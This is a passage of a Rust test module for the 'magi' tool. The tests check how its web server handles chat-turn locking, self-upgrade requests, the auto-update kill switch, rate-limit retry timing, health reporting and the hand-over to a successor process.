20010        let (result, before, after) = refusal.expect("web request");
20011        let error = result.expect_err("web must refuse the CLI's turn");
20012        assert_eq!(error.status, StatusCode::CONFLICT);
20013        assert!(error.message.contains("a turn is already running"));
20014        assert_eq!(
20015            after, before,
20016            "refusal preserves question, draft and history"
20017        );
20018        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
20019        let guard = ui
20020            .begin_talk_turn(&id)
20021            .expect("web claim")
20022            .expect("free again");
20023        drop(guard);
20024    }
20025
20026    #[test]
20027    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
20028        let home = TempDir::new().expect("temp home");
20029        let talks = Talks::at(home.path().join("talks"));
20030        let ui = Ui::new(
20031            Queue::at(home.path().join("queue")),
20032            Questions::at(home.path().join("questions")),
20033            talks.clone(),
20034            home.path().join("runs"),
20035            home.path().to_path_buf(),
20036            PathBuf::from("/repo"),
20037        )
20038        .with_worktrees_root(home.path().join("wt"));
20039        let id = "20260901-000000-order";
20040        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20041        // Hold the slot mutex so the drop can finish the lease but not the slot.
20042        let slots = ui.talk_turns.lock().unwrap();
20043        let dropper = std::thread::spawn(move || drop(turn));
20044        let start = std::time::Instant::now();
20045        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
20046            std::thread::sleep(Duration::from_millis(5));
20047        }
20048        assert!(!talks.turn_held(id), "the lease is released first");
20049        assert!(slots.live.contains(id), "the slot is still held meanwhile");
20050        drop(slots);
20051        dropper.join().expect("join");
20052        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
20053    }
20054
20055    #[tokio::test]
20056    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
20057        let fx = Fixture::start().await;
20058        // Somebody else's `magi serve` owns the queue. Replacing this binary
20059        // would leave that process running an old one against the same
20060        // claims, which is worse than refusing.
20061        let mut beat = crate::daemon::Status::new();
20062        beat.pid = 4321;
20063        beat.updated_at = jiff::Timestamp::now();
20064        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20065            .expect("publish a heartbeat");
20066
20067        let res = fx.post("/api/upgrade", None).await;
20068        assert_eq!(res.status, 409);
20069        let err = res.json()["error"].as_str().unwrap().to_owned();
20070        assert!(err.contains("4321"), "the refusal names the owner: {err}");
20071        assert!(err.contains("old one against the same queue"), "{err}");
20072    }
20073
20074    /// [`should_spawn_recheck`] must refuse for the same two reasons
20075    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
20076    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
20077    /// Purely a predicate over config and the environment - no network, no
20078    /// disk, no runtime - so unlike the fixture-based tests around it this
20079    /// one needs neither.
20080    #[test]
20081    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
20082        assert!(!should_spawn_recheck(&crate::config::Update {
20083            mode: UpdateMode::Off,
20084            interval: None,
20085        }));
20086
20087        // SAFETY: single-threaded as far as this variable goes, the same
20088        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
20089        unsafe {
20090            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20091        }
20092        let killed = should_spawn_recheck(&crate::config::Update {
20093            mode: UpdateMode::Notify,
20094            interval: None,
20095        });
20096        unsafe {
20097            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20098        }
20099        assert!(
20100            !killed,
20101            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
20102             one-time startup check"
20103        );
20104
20105        assert!(should_spawn_recheck(&crate::config::Update {
20106            mode: UpdateMode::Notify,
20107            interval: None,
20108        }));
20109    }
20110
20111    /// [`recheck_poll_period`] must track a configured `[update] interval`
20112    /// shorter than its own default ceiling - a fixed sleep here would leave
20113    /// an operator's short interval waiting on the next wake-up instead of on
20114    /// `should_check`, which is the same bug this whole task exists to fix,
20115    /// just one level down.
20116    #[test]
20117    fn recheck_poll_period_tracks_a_short_configured_interval() {
20118        let short = crate::config::Update {
20119            mode: UpdateMode::Notify,
20120            interval: Some("1m".to_owned()),
20121        };
20122        let period = recheck_poll_period(&short);
20123        assert!(
20124            period <= Duration::from_secs(30),
20125            "a one-minute interval must wake the task far sooner than the \
20126             default ceiling, or the deck would not notice within the \
20127             interval the operator configured: got {period:?}"
20128        );
20129
20130        let default = crate::config::Update {
20131            mode: UpdateMode::Notify,
20132            interval: None,
20133        };
20134        assert_eq!(
20135            recheck_poll_period(&default),
20136            UPDATE_RECHECK_POLL_MAX,
20137            "the default day-long interval should poll at the (capped) \
20138             ceiling rather than needlessly often"
20139        );
20140    }
20141
20142    /// [`update_recheck_due`] must not repeat a check made moments ago, the
20143    /// same throttle `updater::Checker::should_check` already gives the
20144    /// CLI's notify mode. Built over an explicit state file via
20145    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
20146    /// write the operator's real `last_update_check.json` - and therefore
20147    /// cannot flake on whatever that file happens to say on the machine
20148    /// running the test.
20149    #[test]
20150    fn recheck_skips_the_network_before_the_interval_elapses() {
20151        let dir = TempDir::new().expect("temp dir");
20152        let path = dir.path().join("state.json");
20153        let state = kaishin::UpdateCheckState {
20154            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
20155            last_known_latest: None,
20156            last_known_url: None,
20157        };
20158        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
20159
20160        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
20161        assert!(
20162            !update_recheck_due(&checker, None),
20163            "a check made moments ago must not be repeated before the \
20164             configured interval elapses"
20165        );
20166    }
20167
20168    /// An upgrade this deck already started must not be raced by a recheck
20169    /// that discovers a newer release mid-install - regardless of what
20170    /// `should_check` says, which is why the state file here is missing
20171    /// entirely: read alone, that alone would answer "never checked, go
20172    /// ahead".
20173    #[test]
20174    fn recheck_defers_to_an_upgrade_already_in_flight() {
20175        let dir = TempDir::new().expect("temp dir");
20176        let path = dir.path().join("state.json");
20177        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
20178        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
20179
20180        assert!(
20181            !update_recheck_due(&checker, Some(&progress)),
20182            "a recheck must not run while an upgrade this deck started is \
20183             still moving"
20184        );
20185    }
20186
20187    #[tokio::test]
20188    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
20189        // The same env var the background check honours (`disabled_by_env`)
20190        // must also stop a button press before it ever calls
20191        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
20192        // means "never contact GitHub from this process", and a tap on the
20193        // upgrade button must not override that any more than a broken
20194        // `magi.toml` may. Left unset, this fixture's default config would
20195        // otherwise reach a real, unauthenticated GitHub call.
20196        //
20197        // SAFETY: single-threaded as far as this variable goes - nothing else
20198        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
20199        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
20200        unsafe {
20201            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20202        }
20203        let fx = Fixture::start().await;
20204        let res = fx.post("/api/upgrade", None).await;
20205        unsafe {
20206            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20207        }
20208        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20209        let body = res.json();
20210        assert!(body["to"].is_null(), "there was no release to move to");
20211        assert!(body["parked"].is_null(), "and nothing was parked");
20212        assert!(
20213            body["detail"]
20214                .as_str()
20215                .unwrap()
20216                .contains("disabled by MAGI_NO_AUTOUPDATE"),
20217            "{body:?}"
20218        );
20219    }
20220
20221    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
20222        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
20223        p.stage = stage;
20224        p
20225    }
20226
20227    #[test]
20228    fn busy_stages_match_the_ui_set() {
20229        use crate::updater::Stage;
20230        assert!(APP_JS.contains(
20231            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
20232        ));
20233        for s in [
20234            Stage::Downloading,
20235            Stage::Replaced,
20236            Stage::Parking,
20237            Stage::Restarting,
20238        ] {
20239            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
20240        }
20241        for s in [Stage::Done, Stage::Failed] {
20242            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
20243        }
20244        assert!(upgrade_in_motion(None).is_none());
20245    }
20246
20247    #[tokio::test]
20248    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
20249        use crate::updater::Stage;
20250        for stage in [
20251            Stage::Downloading,
20252            Stage::Replaced,
20253            Stage::Parking,
20254            Stage::Restarting,
20255        ] {
20256            let fx = Fixture::start().await;
20257            let seeded = seeded_progress(stage);
20258            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
20259            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20260                .expect("read");
20261
20262            let res = fx.post("/api/upgrade", None).await;
20263            assert_eq!(res.status, 409, "{stage:?}");
20264            let err = res.json()["error"].as_str().unwrap().to_owned();
20265            assert!(err.contains("already in progress"), "{err}");
20266            assert!(err.contains(stage.as_str()), "{err}");
20267
20268            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20269                .expect("read");
20270            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
20271            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
20272                .unwrap_or_default();
20273            assert!(!log.contains("signalling HANDOVER"), "{log}");
20274        }
20275    }
20276
20277    #[test]
20278    fn upgrade_retry_timing_only_parses_known_diagnostics() {
20279        assert_eq!(
20280            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
20281            Some(3723)
20282        );
20283        assert_eq!(
20284            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
20285            Some(60)
20286        );
20287        assert_eq!(
20288            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
20289            Some(0)
20290        );
20291        for message in [
20292            "permission denied",
20293            "GitHub API rate limit exceeded",
20294            "GitHub rate limit (resets in unknown)",
20295            "GitHub rate limit (resets in 18446744073709551615d)",
20296        ] {
20297            assert_eq!(upgrade_retry_after(message), None, "{message}");
20298        }
20299    }
20300
20301    #[tokio::test]
20302    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
20303        let home = TempDir::new().unwrap();
20304        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
20305        ui.start_loop(None).unwrap();
20306        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
20307        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
20308        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
20309        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
20310        let response = finish_upgrade_request(&ui, result);
20311        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
20312        assert_eq!(response.headers()["retry-after"], "120");
20313        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
20314            .await
20315            .unwrap();
20316        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
20317        assert!(body["error"].as_str().unwrap().contains(reason));
20318        assert_eq!(body["retry_after_secs"], 120);
20319        assert!(body["retry_at"].as_u64().is_some());
20320        for _ in 0..2 {
20321            let view = health(State(ui.clone())).await.unwrap().0;
20322            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
20323            assert_eq!(failure, body);
20324        }
20325        assert_eq!(
20326            std::fs::read(updater::progress_path(home.path())).unwrap(),
20327            before
20328        );
20329        assert!(!ui.lock_loop().resume_after_handover);
20330        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
20331        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
20332        // A conflicting request must not erase the actionable earlier failure.
20333        let gate = ui.upgrade_gate.lock().await;
20334        assert_eq!(
20335            upgrade_post(State(ui.clone())).await.status(),
20336            StatusCode::CONFLICT
20337        );
20338        drop(gate);
20339        assert!(
20340            health(State(ui.clone()))
20341                .await
20342                .unwrap()
20343                .0
20344                .upgrade_request_error
20345                .is_some()
20346        );
20347        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
20348        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
20349        assert!(
20350            health(State(ui.clone()))
20351                .await
20352                .unwrap()
20353                .0
20354                .upgrade_request_error
20355                .is_none()
20356        );
20357        let live = ui.lock_loop().live.take().unwrap();
20358        live.stop.stop();
20359        live.handle.await.unwrap();
20360    }
20361
20362    #[tokio::test]
20363    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
20364        use crate::updater::Stage;
20365        let repo = TempDir::new().expect("repo dir");
20366        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20367            .expect("write magi.toml");
20368        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20369        for stage in [Stage::Done, Stage::Failed] {
20370            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
20371            let res = fx.post("/api/upgrade", None).await;
20372            assert_eq!(res.status, 200, "{stage:?}");
20373        }
20374        // No record at all, and the gate was released by the earlier calls.
20375        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
20376        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
20377    }
20378
20379    #[tokio::test]
20380    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
20381        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
20382        // and the route answers from its own logic.
20383        //
20384        // This test used to lean on the fixture's placeholder repo failing
20385        // config discovery, which left `mode = "notify"` - and a live,
20386        // unauthenticated call to the GitHub releases API inside a unit test.
20387        // GitHub allows 60 of those an hour per address, so the suite went red
20388        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
20389        // long as somebody kept re-running it: every attempt spent another
20390        // request. Six reruns across four pull requests were charged to that
20391        // before it was read as a rate limit rather than a flake.
20392        //
20393        // What the assertion is about is the "already current" branch, which
20394        // is reached by there being no newer release *or* nowhere to look. The
20395        // second one needs no network and cannot be rate limited.
20396        let repo = TempDir::new().expect("repo dir");
20397        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20398            .expect("write magi.toml");
20399        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20400
20401        // It must answer 200 and leave the process alone: restarting for an
20402        // upgrade that did not happen parks the run in flight and drops every
20403        // connection to pay for nothing. A probe against a deck already on the
20404        // newest build did exactly that, which is how this case got its own
20405        // branch.
20406        let res = fx.post("/api/upgrade", None).await;
20407        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20408        let body = res.json();
20409        assert!(body["to"].is_null(), "there was no release to move to");
20410        assert!(body["parked"].is_null(), "and nothing was parked");
20411        assert!(
20412            body["detail"]
20413                .as_str()
20414                .unwrap()
20415                .contains("nothing restarted"),
20416            "{body:?}"
20417        );
20418    }
20419
20420    #[tokio::test]
20421    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
20422        // `mode = "off"` for the same reason as the test above: a default
20423        // fixture repo falls back to `mode = "notify"`, which would make this
20424        // route's new `update` field a live, unauthenticated GitHub call on
20425        // every assertion in this suite that happens to hit `/api/health`.
20426        let repo = TempDir::new().expect("repo dir");
20427        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20428            .expect("write magi.toml");
20429        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20430
20431        let health = fx.get("/api/health").await.json();
20432        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
20433        assert_eq!(
20434            health["update"]["available"], false,
20435            "checking is off, which reads as \"unknown\", not \"none\""
20436        );
20437        assert!(health["update"]["to"].is_null());
20438        assert!(
20439            health["upgrade"].is_null(),
20440            "nothing has ever asked this deck to upgrade"
20441        );
20442    }
20443
20444    #[tokio::test]
20445    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
20446        let fx = Fixture::start().await;
20447        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
20448
20449        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20450        progress.parked_run = Some("20260905-000000-cd51".to_owned());
20451        progress.advance(crate::updater::Stage::Parking);
20452        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20453
20454        let health = fx.get("/api/health").await.json();
20455        assert_eq!(health["upgrade"]["stage"], "parking");
20456        assert_eq!(health["upgrade"]["from"], "0.5.1");
20457        assert_eq!(health["upgrade"]["to"], "0.5.2");
20458        let waiting_on = health["upgrade"]["waiting_on"]
20459            .as_str()
20460            .expect("waiting_on is set while parking a known run");
20461        assert!(waiting_on.contains("cd51"), "{waiting_on}");
20462        assert!(waiting_on.contains("implementing"), "{waiting_on}");
20463    }
20464
20465    #[tokio::test]
20466    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
20467        let fx = Fixture::start().await;
20468        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20469        progress.advance(crate::updater::Stage::Done);
20470        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20471
20472        let health = fx.get("/api/health").await.json();
20473        assert_eq!(health["upgrade"]["stage"], "done");
20474        assert!(
20475            health["upgrade"]["waiting_on"].is_null(),
20476            "nothing to wait on once it is done"
20477        );
20478    }
20479
20480    #[tokio::test]
20481    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
20482        let home = TempDir::new().expect("temp home");
20483        let runs = home.path().join("runs");
20484        std::fs::create_dir_all(&runs).expect("runs dir");
20485        let ui = Ui::new(
20486            Queue::at(home.path().join("queue")),
20487            Questions::at(home.path().join("questions")),
20488            Talks::at(home.path().join("talks")),
20489            runs,
20490            home.path().to_path_buf(),
20491            PathBuf::from("/repo/magi"),
20492        )
20493        .with_launch(launch_idle);
20494        let looping = ui.looping();
20495        let turns = ui.turns();
20496        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20497            .await
20498            .expect("bind loopback");
20499        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20500
20501        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20502        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20503
20504        hand_over(
20505            home.path(),
20506            &looping,
20507            &turns,
20508            &|_: &[String]| Duration::from_secs(5),
20509            served,
20510            |_| Ok(1),
20511        )
20512        .await
20513        .expect("hand over");
20514
20515        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
20516        assert_eq!(
20517            after.stage,
20518            crate::updater::Stage::Restarting,
20519            "hand_over owns the record through parking and up to restarting; \
20520             the successor is what finishes it"
20521        );
20522    }
20523
20524    /// The successor is started exactly once on success, and exactly once on
20525    /// failure too (a failed start is reported, never retried).
20526    #[tokio::test]
20527    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
20528        for fail in [false, true] {
20529            let home = TempDir::new().expect("temp home");
20530            let ui = idle_ui(&home);
20531            let looping = ui.looping();
20532            let turns = ui.turns();
20533            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20534                .await
20535                .expect("bind loopback");
20536            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20537            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20538            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20539
20540            let calls = std::sync::atomic::AtomicUsize::new(0);
20541            let outcome = hand_over(
20542                home.path(),
20543                &looping,
20544                &turns,
20545                &|_: &[String]| Duration::from_secs(5),
20546                served,
20547                |_| {
20548                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20549                    if fail {
20550                        anyhow::bail!("no exec")
20551                    } else {
20552                        Ok(4242)
20553                    }
20554                },
20555            )
20556            .await;
20557            assert_eq!(outcome.is_err(), fail);
20558            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20559
20560            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
20561                .expect("upgrade.log is written under the home");
20562            for step in [
20563                "entered",
20564                "finish_loop",
20565                "listener released",
20566                "starting the successor",
20567            ] {
20568                assert!(log.contains(step), "missing `{step}` in:\n{log}");
20569            }
20570            assert!(
20571                log.contains(if fail { "did not start" } else { "pid 4242" }),
20572                "{log}"
20573            );
20574        }
20575    }
20576
20577    /// The handover signal is seen however the race falls, and wakes its one
20578    /// waiter once per signal - nothing here can spin.
20579    #[tokio::test]
20580    async fn the_handover_signal_wakes_one_waiter_once() {
20581        let signal = Notify::new();
20582        // Signalled before anyone waits: the stored permit is not lost.
20583        signal.notify_one();
20584        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
20585            .await
20586            .expect("an early signal is still seen");
20587        // One signal, one wake-up: a second wait does not resolve by itself.
20588        assert!(
20589            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
20590                .await
20591                .is_err(),
20592            "a consumed signal must not wake a second time"
20593        );
20594        // Signalled while waiting.
20595        let signal = std::sync::Arc::new(signal);
20596        let waiter = tokio::spawn({
20597            let signal = std::sync::Arc::clone(&signal);
20598            async move { wait_for_handover(&signal).await }
20599        });
20600        tokio::time::sleep(Duration::from_millis(20)).await;
20601        assert!(!waiter.is_finished(), "nothing was signalled yet");
20602        signal.notify_one();
20603        tokio::time::timeout(Duration::from_secs(5), waiter)
20604            .await
20605            .expect("a late signal wakes the waiter")
20606            .expect("join");
20607    }
20608
20609    #[tokio::test]
20610    async fn health_says_how_long_a_handover_has_been_stuck() {
20611        let fx = Fixture::start().await;
20612        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20613        progress.advance(crate::updater::Stage::Replaced);
20614        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
20615        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20616
20617        let health = fx.get("/api/health").await.json();
20618        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
20619        assert!(stuck >= 600, "{stuck}");
20620        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
20621        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
20622    }
20623
20624    #[tokio::test]
20625    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
20626        let home = tempfile::tempdir().expect("temp home");
20627        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20628        progress.advance(crate::updater::Stage::Parking);
20629        crate::updater::write_progress(home.path(), &progress).expect("seed");
20630        // What the second upgrade_and_restart and its handler do.
20631        let mut again = progress.clone();
20632        again.advance(crate::updater::Stage::Replaced);
20633        crate::updater::write_progress(home.path(), &again).expect("replaced");
20634        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20635        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
20636        let after = crate::updater::read_progress(home.path()).expect("record");
20637        assert_eq!(after.stage, crate::updater::Stage::Parking);
20638    }
20639
20640    #[tokio::test]
20641    async fn health_does_not_call_a_live_parking_wait_stuck() {
20642        let fx = Fixture::start().await;
20643        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20644        progress.parked_run = Some("20260905-000000-cd51".to_owned());
20645        progress.advance(crate::updater::Stage::Parking);
20646        let hours = Duration::from_secs(3 * 3600);
20647        progress.started_at = Timestamp::now() - hours;
20648        progress.updated_at = Timestamp::now() - hours;
20649        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20650        let _lease = crate::updater::LeaseGuard::enter(
20651            fx.home.path(),
20652            Some("20260905-000000-cd51".to_owned()),
20653        );
20654
20655        let health = fx.get("/api/health").await.json();
20656        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
20657        assert!(health["upgrade"]["stuck_kind"].is_null());
20658        assert_eq!(health["upgrade"]["handover_alive"], true);
20659        let waiting_on = health["upgrade"]["waiting_on"]
20660            .as_str()
20661            .expect("waiting_on");
20662        assert!(waiting_on.contains("cd51"), "{waiting_on}");
20663    }
20664
20665    fn idle_ui(home: &TempDir) -> Ui {
20666        let runs = home.path().join("runs");
20667        std::fs::create_dir_all(&runs).expect("runs dir");
20668        Ui::new(
20669            Queue::at(home.path().join("queue")),
20670            Questions::at(home.path().join("questions")),
20671            Talks::at(home.path().join("talks")),
20672            runs,
20673            home.path().to_path_buf(),
20674            PathBuf::from("/repo/magi"),
20675        )
20676        .with_launch(launch_idle)
20677    }
20678
20679    async fn park_fixture(
20680        home: &TempDir,
20681    ) -> (
20682        Ui,
20683        Arc<Mutex<LoopState>>,
20684        Arc<Mutex<TalkTurns>>,
20685        tokio::task::JoinHandle<std::io::Result<()>>,
20686    ) {
20687        let ui = idle_ui(home);
20688        let looping = ui.looping();
20689        let turns = ui.turns();
20690        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20691            .await
20692            .expect("bind loopback");
20693        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
20694        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20695        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20696        (ui, looping, turns, served)
20697    }
20698
20699    /// The hand-over does not release the address while a chat turn is in
20700    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
20701    /// started once the turn ends.
20702    #[tokio::test]
20703    async fn hand_over_waits_for_a_running_chat_turn() {
20704        let home = TempDir::new().expect("temp home");
20705        let (ui, looping, turns, served) = park_fixture(&home).await;
20706        let ui = Arc::new(ui);
20707        let id = "20260901-000000-chat";
20708        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20709
20710        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20711        let handover = tokio::spawn({
20712            let home = home.path().to_path_buf();
20713            let turns = Arc::clone(&turns);
20714            let calls = Arc::clone(&calls);
20715            async move {
20716                hand_over(
20717                    &home,
20718                    &looping,
20719                    &turns,
20720                    &|_: &[String]| Duration::from_secs(60),
20721                    served,
20722                    move |_| {
20723                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20724                        Ok(1)
20725                    },
20726                )
20727                .await
20728            }
20729        });
20730
20731        let waiting = async {
20732            for _ in 0..200 {
20733                if crate::updater::read_progress(home.path())
20734                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
20735                {
20736                    return;
20737                }
20738                tokio::time::sleep(Duration::from_millis(25)).await;
20739            }
20740            panic!("the park never named the chat turn");
20741        };
20742        waiting.await;
20743        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20744
20745        // A new turn is refused, a queued claim and a direct `/say` see a busy
20746        // slot, and nothing new is live.
20747        let refused = ui.begin_talk_turn("20260901-000000-late").err();
20748        assert!(
20749            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20750            "a direct start says an upgrade is in progress"
20751        );
20752        assert!(
20753            ui.begin_queued_talk_turn("20260901-000000-late")
20754                .expect("queued claim")
20755                .is_none()
20756        );
20757        assert!(matches!(
20758            ui.begin_talk_turn_unless_pending("20260901-000000-late")
20759                .expect("start"),
20760            TalkTurnStart::Busy
20761        ));
20762        assert_eq!(turns.lock().unwrap().live.len(), 1);
20763
20764        // The health text names the turn.
20765        let progress = crate::updater::read_progress(home.path()).expect("progress");
20766        let view = upgrade_progress_view(&ui, progress);
20767        assert!(
20768            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
20769            "{:?}",
20770            view.waiting_on
20771        );
20772
20773        assert!(!handover.is_finished());
20774        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20775        drop(turn);
20776        handover.await.expect("join").expect("hand over");
20777        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20778        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20779    }
20780
20781    /// Chat stays open while the loop is still parking, and closes only once
20782    /// the loop is done; a turn started during the park is waited for.
20783    #[tokio::test]
20784    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
20785        let home = TempDir::new().expect("temp home");
20786        let (ui, looping, turns, served) = park_fixture(&home).await;
20787        let ui = Arc::new(ui);
20788        // A loop that ends only when told to.
20789        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
20790        lock_or_recover(&looping).live = Some(Live {
20791            stop: daemon::Stop::new(),
20792            handle: tokio::spawn(async move {
20793                let _ = loop_ended.await;
20794            }),
20795            opts: daemon::Opts::default(),
20796        });
20797
20798        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20799        let handover = tokio::spawn({
20800            let home = home.path().to_path_buf();
20801            let turns = Arc::clone(&turns);
20802            let calls = Arc::clone(&calls);
20803            async move {
20804                hand_over(
20805                    &home,
20806                    &looping,
20807                    &turns,
20808                    &|_: &[String]| Duration::from_secs(60),
20809                    served,
20810                    move |_| {
20811                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20812                        Ok(1)
20813                    },
20814                )
20815                .await
20816            }
20817        });
20818
20819        let reached = async {
20820            for _ in 0..200 {
20821                if crate::updater::read_progress(home.path())
20822                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
20823                {
20824                    return;
20825                }
20826                tokio::time::sleep(Duration::from_millis(25)).await;
20827            }
20828            panic!("the hand-over never reached parking");
20829        };
20830        reached.await;
20831
20832        // The loop is still parking: a chat turn starts.
20833        assert!(!turns.lock().unwrap().parking);
20834        let turn = ui
20835            .begin_talk_turn("20260901-000000-chat")
20836            .expect("claim")
20837            .expect("a turn can start while the loop parks");
20838
20839        // The loop ends; the slot closes while the first turn is still held.
